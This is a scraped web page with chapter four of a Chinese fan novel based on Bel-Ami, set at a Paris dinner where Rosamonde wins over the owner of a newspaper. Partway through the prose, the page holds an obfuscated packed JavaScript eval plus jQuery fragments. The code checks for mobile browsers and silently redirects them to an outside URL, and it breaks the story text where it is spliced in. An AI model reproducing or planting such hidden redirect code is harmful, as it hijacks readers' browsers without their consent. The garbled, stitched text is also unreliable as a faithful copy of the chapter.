4. 第四章
作品:《(漂亮朋友)杜洛瓦小姐上位记》 “我这粗心的讨厌鬼,忙的忘记招待客人。”开餐前,夏洛特翩然而至,与宾客贴面问好。罗莎蒙德是最后一个。
“你与克劳德相谈甚欢。”夏洛特略显诧异。这里头有夸张的成分,但罗莎蒙德以女人的敏锐感受到丝异样。
“我要感谢您举荐了罗莎蒙德小姐。”克劳德的话让夏洛特所透露出的古怪气息更强烈了,“她迷倒洛丽娜。”
“哦!那真是太好了。”
罗莎蒙德想提醒夏洛特她演技拙劣,但这毕竟是人家的地儿,她只能将异常的地方挂在心上。
夏洛特把罗莎蒙德安排到洛丽娜与克劳德先生间。除了在等候室里见到的记者、作者,还有位姗姗来迟,派头十足的人。那是个三十好几的高大男人,尽管被岁月侵蚀眼角的肌肤鬓角的发,他仍显得风度翩翩,小腹平坦。
他如皇帝般走到男主宾的位子,仿佛他是这家的主人。
听差通报拉瓦洛先生的气势也比其他人强。他一来,说话声都轻了不少,克劳德是最先与他搭话的人:“我想写篇戈蒂埃的报道,您能给我最佳位吗?”
拉瓦洛先生准备喝汤,闻言放下银色的匙:“星期几的最佳位。”
“周二上午。”
马蒂莱诺介入谈话:“您铁了心的不想让同行好过。”
“新闻工作者是社会的啄木鸟。”克劳德先生微微一笑,“我要是让同行好过,拉瓦洛先生就该质疑给我的薪水是不是太多了。”
“我不会质疑。我会从主任到出纳全部换掉。”
“冷酷的男人。”夏洛特把话抛给罗莎蒙德,“你有听过戈蒂埃案吗?”
罗莎蒙德看了眼洛丽娜:“这事不好在餐桌上讲。”
那是桩由通|奸引起的敲诈案,自第一人被逮捕起就广受讨论。
“聊聊符合各位身份的话题吧!”邋遢的作家抛出个体面的话题,但还是与通|奸有关:”你们知道最后的决斗?”
“十四世纪的那个。”夏洛特有从丈夫那儿听过这个故事。马蒂莱诺是个善于分析市场偏好的机灵鬼,他想为法国史上的最后一次司法决斗写篇报道,但要由妻子发表,这样更具话题度。
“对,就是十四世纪的那个。”作家激动的对的马蒂莱诺道,“幸运的家伙,有这么个博闻强识的夫人。”
马蒂莱诺深情款款地看着夏洛特,后者从此刻获得的满足感远胜被客人恭维的总和。
“您对这个案件有何看法?”
夏洛特的笑容僵了一下:“您想以此写部小说?”
“正是。”
“那可得和马蒂莱诺好好聊聊。”她把话题抛给丈夫,“他也想为这个案件写篇专栏。”
马蒂莱诺熟练接话:“我们可以好好聊聊……正好呼应戈蒂埃案。”
作者的眼睛越发亮了:“好主意。现在动笔会不会太晚了。”
拉洛瓦先生:“审案断案要一年多呢!写部短篇蹭当下的热度,宣判时把长篇放下。”
作者对这个安排非常满意,但仍想问夏洛特的看法,美其名曰为故事提供额外角度。
夏洛特可太清楚他想听什么,可有老板在上,说两句当给他面子。
毕竟是同僚的妻子,作者不敢太过分,把主意打到看起来就很好说话的罗莎蒙德上:“您怎么看。”
罗莎蒙德哪知道什么十四世纪的司法决斗。有教会背景的女子学校不交这个,出社会更忙得没空看份报纸。
夏洛特没给罗莎蒙德解围,笑着催她:“不能我一人出风头。”
“文明的社会不该有司法决斗。”罗莎蒙德想讨人喜欢,奈何只有半瓶墨水。如不能在深度上赢得喝彩,就得留下深刻印象,“严肃的议题被简单化了,像孩子间的小打小闹,只要把对方推搡在地,自己便赢得一切的解释权。”
所有的目光集中在罗莎蒙德上。她紧张的想吐,胃里却空无一物。
“有趣的言论。我以为女人喜欢为爱决斗的浪漫故事。”
“小女孩喜欢。”罗莎蒙德大胆看向拉瓦洛先生,《法兰西生活报》不是言情杂志,这么写会贻笑大方。”
作者的脸红了,拉瓦洛先生却露出抹笑:“司法决斗是上帝的审判。小姐,您是在质疑上帝吗?”
“上帝的意志是由人说出来的,而人有私心,不然赎罪券卖给谁?”
桌上响起了笑。不是那种发自内心的笑,而是现在应该笑了。
作者拍着大腿:“说得好,说得好。”转头对男仆说,“再来点考尔通(法国城镇,以葡萄酒闻名)吧!这样的观点需要酒精疏通大脑。”他手舞足蹈起来。
“你喝多了。”作者的妻子挡开准备倒酒的人,“给他来杯薄荷水。”
“您有写过报道吗?”拉瓦洛先生问罗莎蒙德,“您的观点令我耳目一新,写出来会很吸引人。”
克劳德先生立即附和,“正如玉手和红裳。”
“绝妙的主意。”作者没空冲扫兴的妻子发火,带着好事者的兴奋鼓励罗莎蒙德写篇报道,“我们需要年轻女性的目光。”
话都说到这个份上,罗莎蒙德没法推辞:“我没写过报道。”她向拉瓦洛先生求助,“讨论与写作岂能混为一谈。我这样的女子也就私下里大胆说说,登报那是贻笑大方。”
“您自谦了。”拉洛瓦先生给她吃了颗定心丸,“文盲都能笔耕不辍。巴黎的作者都是皮埃尔.德.龙沙再世,编辑也无用武之地。”
“您真温柔。”桌上的笑声鼓起罗莎蒙德的勇气,“今日前,我以为《法兰西生活报》的老板是个一板一眼的人。”
马蒂莱诺哈哈大笑:“那就不是《法兰西生活报》了。”
“应该叫《福音报》或《公正报》,《道德报》。”克劳德先生酒劲上头地问拉洛瓦先生,“您喜欢哪个?”
拉洛瓦先生仔细思考了下:“《福音报》吧!我挺爱去教堂的。”
“您喝多了。”夏洛特提议道,“去客厅醒醒酒吧!再说下去,明日的忏悔室要被尔等包圆。”
马蒂莱诺率先起身:“有埃塞俄比亚的咖啡,那可是顶好的东西。突尼斯战争后,这玩意有价无市,”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984241|193603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
夏洛特的客厅像植物园,撞到屋顶的橡胶树与棕榈树不仅在视觉上令人耳目一新,嗅觉上也如同闻了柔软的薄荷。
下楼时,罗莎蒙德玩笑似的把胳膊伸向小姑娘。洛丽娜憋得太久,跑到队伍的最前头,罗莎蒙德扑了个空。
拉洛瓦先生看着面前胳膊。罗莎蒙德收也不是,不收也不是,悬着的胳膊开始颤抖。
“应由我邀请您。”拉洛瓦先生按下罗莎蒙德胳膊,躬身向她伸出了手,“还没到狂欢节呢!您就拿我当女士。”
罗莎蒙德挽上拉瓦洛先生。
夏洛特给二人端来满满的咖啡,比跟罗莎蒙德单独说话时嗓音更轻:“要加糖吗?”
罗莎蒙德接过杯子,俯身用银夹子小心翼翼地从女仆拿着的糖缸里加糖块。抬眼间,夏洛特示意她向拉瓦洛先生献点殷勤。
“您要几块?”
拉洛瓦先生喝黑咖啡,倒不是他喜欢这种,而是黑咖不会带来太多负担。
今天吃了不少东西。
罗莎蒙德的蓝眼睛在烛光下像融化的糖。拉洛瓦先生鬼使神差道:“一块就好。一小块。”
加糖的咖啡比他想的好喝,又或许是什么时候喝,与谁喝比加不加糖更重要。
“您爱读《法兰西生活报》吗?”
“没人不爱《法兰西生活报》。”罗莎蒙德回答一如既往的出乎意料,“《辩论家》是法国的面具,《法兰西生活报》是法国的真容。”她用介于少女与少妇间的狡黠回道,“正如不是所有人会去巴黎大剧院,但都会去‘疯狂的牧羊女’。”
拉瓦洛先生更晕眩了。喝完咖啡的他口干舌燥:“我没去过‘疯狂的牧羊女’。”
“你去那儿是有失身份。”
拉瓦洛先生被这话打醒。
罗莎蒙德话音一转:“但您不是第一个有失身份的人。我敢打赌,‘疯狂的牧羊女’里没几人不是《法兰西日报》的忠实读者。”
拉瓦洛先生淡淡一笑:“期待您领我过去。”
罗莎蒙德把裙兜翻给他看:“您不会让比你小的姑娘付账单吧!”
“葛朗台都不会干出这种没品的事儿。”
他们聊到巴黎的老城区,新兴郊外,吵醒天堂的圣拉扎尔火车站。
拨开堪比伦敦天气的灰西装,拉瓦落先生实则是个风趣幽默的人。
“我能拜访《法兰西生活报》的编辑部吗?”分别前,罗莎蒙德不远松开上钩的鱼。
“我明天下午有个会议。”克劳德先生恰好过来,拉瓦洛先生对他说,“您决定雇杜洛瓦小姐当洛丽娜的家庭教师?何时上班?”
“明天开始。”克劳德先生递给他们餐后酒,“我可以捎杜洛瓦小姐去报社。”
“太好了。”拉洛瓦先生把教罗莎蒙德写作的活也交给了他,“她教你女儿,你教她。我想在周五前看到一篇可以登报的新人文章。”
“没问题。”克劳德先生不止应下这两任务,还送罗莎蒙德回家。
“明日见。”他不必下车送她,可仍把她送到门口,吻了下她的手。

